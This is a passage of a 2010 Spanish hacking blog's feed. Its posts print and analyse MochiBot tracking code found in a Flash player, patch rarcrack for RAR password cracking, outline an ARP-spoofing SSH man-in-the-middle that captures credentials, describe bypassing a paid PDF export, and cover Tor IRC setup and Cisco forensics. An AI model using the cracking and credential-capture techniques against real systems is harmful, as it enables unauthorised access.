mi. Vemos en el contenido del paquete el SWF culpable: un fork del genial xspf musicplayer.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Tengo una debian sid con flare y una palabra clave: mochibot. Let's give a shot.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;frame 1 {&lt;br /&gt;    function playerLoad() {&lt;br /&gt;      __com_mochibot__('46030122', this, 10301);&lt;br /&gt;      fillColor();&lt;br /&gt;      fillDefaults();&lt;br /&gt;      fillOther();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    function __com_mochibot__(swfid, mc, lv) {&lt;br /&gt;      var x;&lt;br /&gt;      var g;&lt;br /&gt;      var s;&lt;br /&gt;      var fv;&lt;br /&gt;      var sb;&lt;br /&gt;      var u;&lt;br /&gt;      var res;&lt;br /&gt;      var mb;&lt;br /&gt;      var mbc;&lt;br /&gt;      mb = '__mochibot__';&lt;br /&gt;      mbc = 'mochibot.com';&lt;br /&gt;      g = _global ? _global : _level0._root;&lt;br /&gt;      if (g[mb + swfid]) {&lt;br /&gt;        return g[mb + swfid];&lt;br /&gt;      }&lt;br /&gt;      s = System.security;&lt;br /&gt;      x = mc._root.getSWFVersion;&lt;br /&gt;      fv = x ? mc.getSWFVersion() : (_global ? 6 : 5);&lt;br /&gt;      if (!s) {&lt;br /&gt;        s = {};&lt;br /&gt;      }&lt;br /&gt;      sb = s.sandboxType;&lt;br /&gt;      if (sb == 'localWithFile') {&lt;br /&gt;        return null;&lt;br /&gt;      }&lt;br /&gt;      x = s.allowDomain;&lt;br /&gt;      if (x) {&lt;br /&gt;        s.allowDomain(mbc);&lt;br /&gt;      }&lt;br /&gt;      x = s.allowInsecureDomain;&lt;br /&gt;      if (x) {&lt;br /&gt;        s.allowInsecureDomain(mbc);&lt;br /&gt;      }&lt;br /&gt;      u = 'http://' + mbc + '/my/core.swf?mv=5&amp;fv=' + fv + '&amp;v=' + escape(/:$version) + '&amp;swfid=' + escape(swfid) + '&amp;l=' + lv + '&amp;f=' + mc + (sb ? '&amp;sb=' + sb : '');&lt;br /&gt;      lv = fv &gt; 6 ? mc.getNextHighestDepth() : (g[mb + 'level'] ? g[mb + 'level'] + 1 : lv);&lt;br /&gt;      g[mb + 'level'] = lv;&lt;br /&gt;      if (fv == 5) {&lt;br /&gt;        res = '_level' + lv;&lt;br /&gt;        if (!eval(res)) {&lt;br /&gt;          loadMovieNum(u, lv);&lt;br /&gt;        }&lt;br /&gt;        return res;&lt;br /&gt;      }&lt;br /&gt;      res = mc.createEmptyMovieClip(mb + swfid, lv);&lt;br /&gt;      res.loadMovie(u);&lt;br /&gt;      return res;&lt;br /&gt;    }&lt;/pre&gt;&lt;div&gt;De mochibot.com :&lt;/div&gt;&lt;br /&gt;&lt;div&gt;MochiBot is a Flash traffic monitoring tool (similar to a hit counter) that tracks the performance of individual Flash content files (SWFs) no matter where they end up on the web. If your SWF is on 5 different servers, then MochiBot will count the number of views that SWF got for all 5 servers. It's perfect for tracking how viral your Flash content is.&lt;br /&gt;&lt;br /&gt;    * [Are they Pirates?]&lt;br /&gt;      See who's sharing your Flash content&lt;br /&gt;&lt;br /&gt;      Track how many websites your Flash content is hosted on (AKA, viral distribution).&lt;br /&gt;    * [You're a star!]&lt;br /&gt;      Track your performance&lt;br /&gt;&lt;br /&gt;      See if your Flash content's popularity is on the rise or taking a tumble.&lt;br /&gt;    * [Keep 'em coming back for more!]&lt;br /&gt;      How compelling is your content?&lt;br /&gt;&lt;br /&gt;      Find out if your audience is viewing your Flash content more just than once.&lt;br /&gt;    * [All eyes this way please]&lt;br /&gt;      Learn where your traffic is coming from&lt;br /&gt;&lt;br /&gt;      The Host Report gives traffic results for each website hosting your Flash content.&lt;br /&gt;    *&lt;br /&gt;      Never worry about Flash Pirates again&lt;br /&gt;&lt;br /&gt;      MochiBot knows where your Flash files are at all times so that you don't have to.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Eso es lo que esta chivandose de nosotros a mochibot. Despues me di cuenta de que el fork es open source, y yo trasteando con flare para encontrar el bicho.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Una defensa desde la parte del servidor seria reemplazar los SWF "maliciosos" por los swf originales de sourceforge en la URL http://musicplayer.sourceforge.net/ y todo solucionado. Pongo maliciosos entre comillas porque es de gran ayuda en una investigacion cualquier rastro, pero nosotros no somos criminales y no queremos dejar rastro. Bueno, seamos realistas, hasta donde podamos queremos defender nuestra privacidad en la red todo lo posible.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Por cierto, una extension de FF que elimina cookies Flash es &lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/6623/"&gt;&lt;b&gt;BetterPrivacy&lt;/b&gt;&lt;/a&gt;, muy recomendable.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Para los que no useis Firefox, y para los que lo useis tambien, os puede servir &lt;a href="http://bleachbit.sourceforge.net/"&gt;&lt;b&gt;bleachbit&lt;/b&gt;&lt;/a&gt;, es como el ccleaner pero mas potente. Es capaz de borrar falsh-cookies ademas de muchos otros elementos. Genial.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Y siempre podemos entrar a la pagina oficial de Adobe a controlar las &lt;a href="http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html"&gt;&lt;b&gt;preferencias sobre las Flash-cookies&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Suerte,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4564822223807399629?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4564822223807399629' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4564822223807399629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4564822223807399629'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/09/el-peligro-de-las-flash-cookies_20.html' title='El peligro de las [flash]-cookies'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-999000906285238068</id><published>2010-08-21T12:46:00.003+02:00</published><updated>2010-08-23T11:44:39.630+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='c'/><title type='text'>Falsos positivos en rarcrack</title><content type='html'>A mi rarcrack me estaba dando falsos positivos, asi que esto es lo que hice.&lt;br /&gt;&lt;br /&gt;~Comprobar la cadena que devuelve el .rar de ejemplo al pasarle un password correcto:&lt;br /&gt;&lt;pre class="brush: bash"&gt;$ unrar t -y -p100 test.rar&lt;br /&gt;&lt;br /&gt;UNRAR 3.90 beta 2 freeware      Copyright (c) 1993-2009 Alexander Roshal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Testing archive test.rar&lt;br /&gt;&lt;br /&gt;Testing     LICENSE                                                   OK &lt;br /&gt;All OK&lt;/pre&gt;&lt;br /&gt;Esa es la cadena: "All OK".&lt;br /&gt;&lt;br /&gt;~Editar &lt;b&gt;rarcrack.c&lt;/b&gt;:&lt;br /&gt;&lt;pre class="brush: bash"&gt;Sustituir:&lt;br /&gt;if (strcasestr(ret, "ok") != NULL) {&lt;br /&gt;por&lt;br /&gt;if (strstr(ret, "All OK") != NULL) {&lt;/pre&gt;&lt;br /&gt;La funcion &lt;b&gt;strcasestr&lt;/b&gt; no es sensible a mayusculas / minusculas, no esta optimizada. Cambiar por &lt;b&gt;strstr&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;~Compilar de nuevo:&lt;br /&gt;&lt;pre class="brush: bash"&gt;make&lt;br /&gt;sudo make install&lt;/pre&gt;&lt;br /&gt;De todas formas es leeeeeento este rarcrack. Como alternativa tenemos por ejemplo a &lt;a href="http://www.crark.net/"&gt;&lt;b&gt;cRARk&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-999000906285238068?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=999000906285238068' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/999000906285238068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/999000906285238068'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/08/falsos-positivos-en-rarcrack.html' title='Falsos positivos en rarcrack'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7938014938710008877</id><published>2010-08-14T20:21:00.001+02:00</published><updated>2010-08-14T20:22:40.242+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>Taller WIFI por Vic_Thor</title><content type='html'>Excelente, para variar:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=7&amp;t=5589"&gt;&lt;b&gt;http://www.wadalbertia.org/foro/viewtopic.php?f=7&amp;t=5589&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7938014938710008877?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7938014938710008877' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7938014938710008877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7938014938710008877'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/08/taller-wifi-por-victhor.html' title='Taller WIFI por Vic_Thor'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4333027883888883057</id><published>2010-08-13T06:46:00.022+02:00</published><updated>2012-02-09T14:41:20.410+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><title type='text'>MitM contra sshv2 con jmitm2 (sin downgrade a sshv1)</title><content type='html'>~0~ Escenario:&lt;br /&gt;&lt;br /&gt;sshd: Ubuntu 10.04 x64 ~ 192.168.1.100&lt;br /&gt;&lt;br /&gt;Victima: BT4 Final ~ 192.168.1.101&lt;br /&gt;&lt;br /&gt;Atacante: BT4-R1 ~ 192.168.1.103&lt;br /&gt;&lt;br /&gt;~1~ Atacante se baja jmitm2 y lo configura:&lt;br /&gt;&lt;br /&gt;~2~ Atacante inicia jmitm2 y hace ARP-spoof (bidireccional) con ettercap:&lt;br /&gt;&lt;br /&gt;~3~ Victima se conecta al server sshd y Atacante captura las credenciales sin cortar la comunicacion (MitM):&lt;br /&gt;&lt;br /&gt;Nota: El exito del ataque depende totalmente de que la victima acepte el WARNING de que las claves RSA han cambiado (evidente).&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/R9ZEzXTbolM?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;hd=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/R9ZEzXTbolM?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Y todo esto viene a raiz de &lt;a href="http://www.wadalbertia.org/foro/viewtopic.php?f=4&amp;t=6046"&gt;un hilo&lt;/a&gt; que respondi en &lt;a href="http://www.wadalbertia.org"&gt;el mejor foro de seguridad del mundo&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4333027883888883057?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4333027883888883057' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4333027883888883057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4333027883888883057'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/08/mitm-contra-sshv2-con-jmitm2-sin.html' title='MitM contra sshv2 con jmitm2 (sin downgrade a sshv1)'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6144112323623438894</id><published>2010-08-06T18:42:00.005+02:00</published><updated>2012-02-10T12:38:50.048+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Taller de TCP/IP de Vic_Thor</title><content type='html'>Excelente PDF de &lt;b&gt;Vic_Thor&lt;/b&gt;. Podeis descargarlo de la &lt;a href="http://www.wadalbertia.org/docs/taller_tcpip.pdf"&gt;&lt;b&gt;direccion oficial&lt;/b&gt;&lt;/a&gt; de &lt;a href="http://www.wadalbertia.org"&gt;&lt;b&gt;Wadalbertia&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Oldie but goodie&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6144112323623438894?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6144112323623438894' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6144112323623438894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6144112323623438894'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/08/taller-de-tcpip.html' title='Taller de TCP/IP de Vic_Thor'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2729004117967151047</id><published>2010-07-29T11:58:00.005+02:00</published><updated>2010-10-29T22:15:52.164+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='tor'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>SASL + TOR en Freenode [irssi]</title><content type='html'>~TOR a traves de SOCKS:&lt;br /&gt;&lt;pre class="brush: bash"&gt;/etc/init.d/tor start&lt;br /&gt;socat TCP4-LISTEN:7777,fork SOCKS4A:127.0.0.1:p4fsi4ockecnea7l.onion:6667,socksport=9050 &amp;amp;&lt;/pre&gt;&lt;br /&gt;El _unico_ nodo de salida TOR autorizado por Freenode puede verse lanzando la siguiente consulta:&lt;br /&gt;&lt;pre class="brush: bash"&gt;dig +short irc.tor.freenode.net cname&lt;/pre&gt;&lt;br /&gt;~Instalar SASL:&lt;br /&gt;&lt;pre class="brush: bash"&gt;mkdir -p ~/.irssi/scripts/autorun&lt;br /&gt;wget http://www.freenode.net/sasl/cap_sasl.pl -P ~/.irssi/scripts/&lt;br /&gt;ln -s ~/.irssi/scripts/cap_sasl.pl ~/.irssi/scripts/autorun/&lt;/pre&gt;&lt;br /&gt;~Habilitar SASL en irssi:&lt;br /&gt;&lt;pre class="brush: bash"&gt;/server add -ssl -network freenodetor localhost 7777&lt;br /&gt;/load perl&lt;br /&gt;/sasl set freenodetor tu_nick tu_password DH-BLOWFISH&lt;br /&gt;/sasl save&lt;br /&gt;/save&lt;/pre&gt;&lt;br /&gt;~Comprobar ~/.irssi/config:&lt;br /&gt;&lt;pre class="brush: bash"&gt;{&lt;br /&gt; address = "localhost";&lt;br /&gt; chatnet = "freenodetor";&lt;br /&gt; port = "7777";&lt;br /&gt; use_ssl = "no";&lt;br /&gt; ssl_verify = "no";&lt;br /&gt; autoconnect = "no";&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;~Having fun&lt;br /&gt;&lt;pre class="brush: bash"&gt;torify irssi&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2729004117967151047?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2729004117967151047' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2729004117967151047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2729004117967151047'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/07/sasl-tor-en-freenode.html' title='SASL + TOR en Freenode [irssi]'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2488500747070698708</id><published>2010-07-26T23:28:00.017+02:00</published><updated>2012-01-22T12:48:19.045+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>Print your blog. Blog to PDF</title><content type='html'>Empezo siendo gratuito obtener el PDF, despues lo hicieron de pago, y &lt;a href="%20http://www.vlan7.org/2010/02/print-your-blog-blog-to-pdf.html"&gt;&lt;b&gt;aqui&lt;/b&gt;&lt;/a&gt; decidi no decir que en la cache del navegador se podia encontrar el PDF.&lt;br /&gt;&lt;br /&gt;Bien, acabo de probarlo de nuevo, y ahora guarda en la cache un PDF por pagina, y con nombres aleatorios, asi que no podemos tirar de herramientas como el bello &lt;b&gt;pdftk&lt;/b&gt; para unir las paginas. Asi que, antes de hacer trampas, he probado otras alternativas como rss2pdf, aunque con esta ultima no he conseguido imprimir las imagenes, ni siquiera jugando con firebug para alterar las opciones validadas en el lado del cliente.&lt;br /&gt;&lt;br /&gt;Bueno, a base de probar cosas he conseguido bajar el pdf registrandome, guardando el pdf con las imagenes por defecto de portada y contraportada, logeandome, cambiando las imagenes y... y ahi va mi primer video del blog:&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/pJ3GZiBf95Q?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;hd=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/pJ3GZiBf95Q?fs=1&amp;amp;hl=es_ES&amp;amp;rel=0&amp;amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;No soy diseñador, asi que no ha quedado profesional ni mucho menos, pero creo que se ve la idea, que es encontrar la ruta del servidor web donde se almacena el PDF.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2488500747070698708?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2488500747070698708' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2488500747070698708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2488500747070698708'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/07/print-your-blog-blog-to-pdf-ii.html' title='Print your blog. Blog to PDF'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3442715186180749136</id><published>2010-07-18T20:26:00.001+02:00</published><updated>2011-11-21T10:55:10.846+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><title type='text'>Analisis Forense de routers Cisco</title><content type='html'>&lt;pre class="brush: bash"&gt;# terminal length 0&lt;br /&gt;# dir /all&lt;br /&gt;# show clock detail&lt;br /&gt;# show ntp&lt;br /&gt;# show version&lt;br /&gt;# show running-config&lt;br /&gt;# show startup-config&lt;br /&gt;# show reload&lt;br /&gt;# show ip route&lt;br /&gt;# show ip arp&lt;br /&gt;# show users&lt;br /&gt;# show logging&lt;br /&gt;# show interfaces&lt;br /&gt;# show ip interfaces&lt;br /&gt;# show access-lists&lt;br /&gt;# show tcp brief all&lt;br /&gt;# show ip sockets&lt;br /&gt;# show ip nat translations verbose&lt;br /&gt;# show ip cache flow&lt;br /&gt;# show ip cef&lt;br /&gt;# show snmp users&lt;br /&gt;# show snmp groups&lt;br /&gt;# show clock detail&lt;br /&gt;# exit&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3442715186180749136?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3442715186180749136' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3442715186180749136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3442715186180749136'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/07/analisis-forense-de-routers-cisco.html' title='Analisis Forense de routers Cisco'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-823506926009080036</id><published>2010-07-15T07:27:00.008+02:00</published><updated>2011-11-29T12:45:40.914+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><title type='text'>Bot IRC que dice titulos de youtubes que escriben los usuarios</title><content type='html'>&lt;pre class="brush: bash"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;# ~ v0.1 ~ 15-7-2010 &lt;br /&gt;# ~ vlan7 ~ http://www.vlan7.org&lt;br /&gt;&lt;br /&gt;NICK=vlan7bot&lt;br /&gt;SERVER=${1:-dune.irc-hispano.org}&lt;br /&gt;CANAL=${2:-#canal}&lt;br /&gt;&lt;br /&gt;echo "NICK $NICK" &amp;gt;input&lt;br /&gt;echo "USER $NICK $NICK $NICK :$0" &amp;gt;&amp;gt;input&lt;br /&gt;tail -f input | telnet $SERVER 6667 | \&lt;br /&gt;while true&lt;br /&gt;do read LINE #|| break&lt;br /&gt;  echo $LINE&lt;br /&gt;  if echo $LINE |grep "PING" &amp;amp;&amp;gt;/dev/null&lt;br /&gt;  then echo "PONG $LINE" &amp;gt;&amp;gt;input&lt;br /&gt;    echo "JOIN $CANAL" &amp;gt;&amp;gt;input #***sacar esto de aqui!!!&lt;br /&gt;    echo "MODE $NICK +c" &amp;gt;&amp;gt;input #***sacar esto de aqui!!!&lt;br /&gt;  fi&lt;br /&gt;  if echo $LINE |grep -i "youtube.com" &amp;amp;&amp;gt;/dev/null&lt;br /&gt;  then&lt;br /&gt;    LINE=$(echo $LINE |grep -o "www.youtube[^ ]*")&lt;br /&gt;    echo "PRIVMSG $CANAL : $(curl ${LINE%&amp;*} 2&amp;gt;&amp;amp;1 |grep -iA2 '&amp;lt;title&amp;gt;' |grep '-' |sed 's/^- //')" &amp;gt;&amp;gt;input&lt;br /&gt;  fi&lt;br /&gt;done&lt;/pre&gt;&lt;br /&gt;Suerte,&lt;br /&gt;&lt;br /&gt;EDITO parta decir que el compañero zcom ha testeado OK el bot en #RSecurity en IRC de freenode, y que estais todos invitados al canal que el mismo fundo en su dia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-823506926009080036?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=823506926009080036' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/823506926009080036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/823506926009080036'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/07/bot-irc-que-dice-titulos-que-escriben.html' title='Bot IRC que dice titulos de youtubes que escriben los usuarios'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2664858897188837010</id><published>2010-06-26T18:45:00.004+02:00</published><updated>2010-08-14T19:47:23.728+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Analizadores de vulnerabilidades</title><content type='html'>&lt;b&gt;chanchi&lt;/b&gt; me envia un PDF sobre analizadores de vulnerabilidades, practico en sus propios sistemas.&lt;br /&gt;&lt;br /&gt;Ahi va el &lt;a href="http://www.megaupload.com/?d=7OFXDJGQ"&gt;&lt;b&gt;enlace&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias &lt;b&gt;chanchi&lt;/b&gt;, para la proxima queremos metasploit :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2664858897188837010?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2664858897188837010' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2664858897188837010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2664858897188837010'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2010/06/chanchi-me-envia-un-pdf-sobre.html' title='Analizadores de vulnerabilidades'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' 